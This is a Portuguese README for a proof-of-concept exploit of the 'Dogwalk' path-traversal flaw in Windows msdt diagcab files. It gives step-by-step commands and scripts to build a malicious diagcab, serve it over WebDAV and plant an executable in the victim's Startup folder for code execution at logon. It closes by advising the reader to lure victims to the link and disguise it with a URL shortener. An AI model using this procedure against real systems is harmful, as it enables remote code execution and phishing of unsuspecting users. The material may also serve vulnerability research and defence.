
🐾Dogwalk PoC (usando arquivo diagcab para obter RCE no Windows)
Conceito central: vulnerabilidade de path traversal na tecnologia Diagcab da Microsoft (msdt) que pode levar à execução remota de código.
Você pode encontrar o advisory completo na postagem do blog
A vulnerabilidade foi reportada há 2 anos (por @irsl) e ainda não tem correção!
O Proof-of-Concept configura um servidor webdav hospedando um arquivo .diagcab malicioso que fará um path traversal para gravar um executável malicioso em C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup. Gravar um executável nesta pasta fará com que ele seja executado toda vez que o usuário iniciar a máquina Windows; isso é chamado de Boot Logon Autostart Execution.
Então, basicamente o que precisamos é de:
.diagcab malicioso.diagcab(💡 use o cabeçalho de resposta Content-type: application/octet-stream para fazer o navegador baixar automaticamente o arquivo ao acessar a url)
Se você está com preguiça (ou com pressa) de seguir o passo a passo:
./hurry-dogwalk.sh [WEBDAV_URL] # need docker
# Stop the server
./hurry-dogwalk.sh --clean
Caso contrário ↓↓
.diagcab.diagcfg são simples arquivos XML que contêm referência a um ou mais pacotes de diagnóstico e fornecem meta-informações sobre eles.diagcab.Primeiro construa custom.diagcfg:
./build-malicious-diagcfg.sh --url [WEBDAV_URL]
E construa o hotfix895214.diagcab:
cabarc.exe n hotfix895214.diagcab custom.diagcfg
# run it on windows (or with wine). If you do not find carbarc.exe use http://jc.bellamy.free.fr/download/cabarc.exe or http://download.microsoft.com/download/platformsdk/cab/2.0/w98nt42kmexp/en-us/Cabsdk.exe
Por fim, mova-o para o diretório ./webdav/diagcab-webdav-poc/config
Coloque o executável que você deseja transferir para a máquina da vítima dentro do diretório ./webdav/malicious... (Aqui usamos o clássico calc.exe)
...E lance o servidor:
cd ./webdav/diagcab-webdav-poc/
perl diagcab-webdav-poc.pl
O .diagcab malicioso está disponível em https://[WEBDAV_URL]/config/hotfix895214.diagcab. Agora você precisa atrair uma vítima para clicar nesse link.
(💡 você pode usar um encurtador de URL para que pareça menos suspeito)
🐾🐾
